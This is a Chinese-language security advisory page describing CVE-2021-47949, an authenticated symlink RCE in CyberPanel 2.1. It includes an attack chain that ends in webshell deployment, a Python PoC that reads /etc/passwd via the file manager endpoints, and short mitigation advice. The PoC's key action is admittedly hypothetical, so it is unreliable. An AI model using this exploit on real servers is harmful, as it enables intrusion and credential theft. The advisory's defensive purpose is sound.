IPBUF安全漏洞报告
English
CVE-2021-47949 CVSS 8.8 高危

CVE-2021-47949 CyberPanel远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47949
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CyberPanel

相关标签

RCE远程代码执行CyberPanel文件管理符号链接认证绕过

漏洞概述

CyberPanel 2.1 版本存在严重的远程代码执行漏洞。经过身份验证的攻击者可以利用文件管理器控制器端点中的符号链接攻击漏洞。通过操纵 POST 请求中的 `completeStartingPath` 参数,攻击者能够创建恶意符号链接,进而读取任意敏感文件(如数据库凭证)并在服务器上执行任意系统命令,完全控制受影响的主机。

技术细节

该漏洞的核心在于 CyberPanel 的文件管理功能未正确处理路径参数,导致存在符号链接攻击风险。攻击者首先需要拥有一个低权限账户并登录系统。随后,攻击者向 `/filemanager/controller` 端点发送特制的 POST 请求,恶意构造 `completeStartingPath` 参数。由于程序未对路径进行严格的安全校验,攻击者可以利用此操作创建指向系统敏感目录(如 `/etc/`)的符号链接。最后,通过访问 `/websites/fetchFolderDetails` 等接口触发该链接,程序会跟随链接读取文件内容或执行操作。攻击者利用此机制可读取数据库配置文件,甚至结合其他功能链执行任意 Shell 命令,实现远程代码执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标为 CyberPanel 2.1 版本,并获取有效的低权限用户凭证。
STEP 2
步骤2:认证登录
攻击者使用获取的凭证登录 CyberPanel 管理后台,获取有效的会话 Cookie。
STEP 3
步骤3:恶意符号链接创建
攻击者向 `/filemanager/controller` 发送 POST 请求,操纵 `completeStartingPath` 参数,创建指向敏感系统目录(如 /etc/passwd 或数据库配置文件)的符号链接。
STEP 4
步骤4:触发漏洞读取文件
攻击者访问 `/websites/fetchFolderDetails` 端点,触发程序解析之前创建的符号链接,从而读取服务器上的敏感文件内容。
STEP 5
步骤5:执行代码
利用读取到的凭据或进一步利用文件操作接口,写入 Webshell 或执行系统命令,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-host:8090" username = "attacker" password = "password" session = requests.Session() # 1. Authenticate (Login) login_data = { "username": username, "password": password } login_resp = session.post(f"{target_url}/login", data=login_data) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit: Create malicious symlink via filemanager controller # Manipulating 'completeStartingPath' to create a symlink to a sensitive file exploit_url = f"{target_url}/filemanager/controller" payload = { "completeStartingPath": "/etc/passwd", # Target sensitive file "action": "createSymlink" # Hypothetical action based on description } response = session.post(exploit_url, data=payload) print(f"Symlink creation status: {response.status_code}") # 3. Trigger: Read file via fetchFolderDetails # Accessing the endpoint that triggers the symlink resolution trigger_url = f"{target_url}/websites/fetchFolderDetails" read_data = { "path": "/path/to/malicious/symlink" } file_content = session.post(trigger_url, data=read_data) print("Sensitive file content:") print(file_content.text)

影响范围

CyberPanel 2.1

防御指南

临时缓解措施
在未升级补丁前,建议管理员严格限制对 CyberPanel 管理界面的访问权限,仅通过 VPN 或受信网络访问。同时,应检查 Web 目录权限,确保 Web 进程对系统敏感目录(如 /etc/)无写入权限,并监控是否存在可疑的符号链接创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表